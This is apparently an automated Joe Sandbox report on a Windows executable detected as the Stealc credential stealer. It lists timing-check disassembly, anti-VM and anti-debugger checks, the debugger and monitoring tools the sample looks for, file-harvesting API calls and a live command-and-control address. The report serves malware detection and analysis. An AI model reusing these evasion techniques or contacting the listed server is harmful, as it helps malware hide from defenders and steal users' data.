Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF996 second address: 5EF9A2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB438C6F72Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9A2 second address: 5EF9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FB438CB0BFDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9B7 second address: 5EF9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF9BB second address: 5EF9BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBF3A second address: 5FBF5D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB438C6F73Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBF5D second address: 5FBF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBC8D second address: 5FBC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBC93 second address: 5FBC9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBC9D second address: 5FBCA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBCA1 second address: 5FBCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FBCA5 second address: 5FBCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C37E second address: 60C382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C382 second address: 60C388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C388 second address: 60C391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C391 second address: 60C397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C397 second address: 60C3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB438CB0BF6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C3A7 second address: 60C3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FB438C6F72Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C851 second address: 60C85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007FB438CB0BF6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C85F second address: 60C863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C863 second address: 60C873 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB438CB0BF6h 0x00000008 jbe 00007FB438CB0BF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CC0C second address: 60CC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D171 second address: 60D1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438CB0BFCh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jbe 00007FB438CB0BF6h 0x00000015 popad 0x00000016 pop eax 0x00000017 pushad 0x00000018 jnp 00007FB438CB0C05h 0x0000001e jmp 00007FB438CB0BFDh 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 pushad 0x00000026 jmp 00007FB438CB0C05h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1BD second address: 60D1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FB438C6F732h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FD38 second address: 60FD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FD3C second address: 60FD40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FDCA second address: 60FDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB438CB0BF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6100C4 second address: 6100D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C6F72Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6100D4 second address: 6100FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007FB438CB0BF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61041B second address: 61043A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB438C6F730h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61043A second address: 610445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB438CB0BF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115C5 second address: 6115C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115C9 second address: 6115D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB438CB0BF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6115D5 second address: 6115F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FB438C6F726h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB438C6F732h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614C31 second address: 614C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB438CB0C09h 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614C52 second address: 614C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED030A second address: 4ED0325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438CB0C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0423 second address: 4ED0427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0427 second address: 4ED042B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED042B second address: 4ED0431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0431 second address: 4ED044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438CB0C09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED044E second address: 4ED048C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007FB438C6F739h 0x00000013 or ax, 2916h 0x00000018 jmp 00007FB438C6F731h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536916 second address: 53691A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53691A second address: 536928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB438C6F72Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 550B31 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B2DA0 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00134910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0012E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0012ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00134570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00133EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00133EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001216D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00121160 GetSystemInfo,ExitProcess,

0_2_00121160

Source: file.exe, file.exe, 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1817097974.0000000001054000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware}@
Source: file.exe, 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1817097974.0000000001054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13527
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13530
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13549
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13541
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13581

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00139860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139750 mov eax, dword ptr fs:[00000030h]

0_2_00139750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00137850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00137850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00139600

Source: file.exe, 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe	Binary or memory string: Y Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00137B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00136920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00136920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00137850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00137850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00137A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00137A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1775667377.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1775667377.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37vly	file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/b5	file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpv	file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phps	file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531077
Start date and time:	2024-10-10 20:24:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded domains from analysis (whitelisted): slscr.update.microsoft.com
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
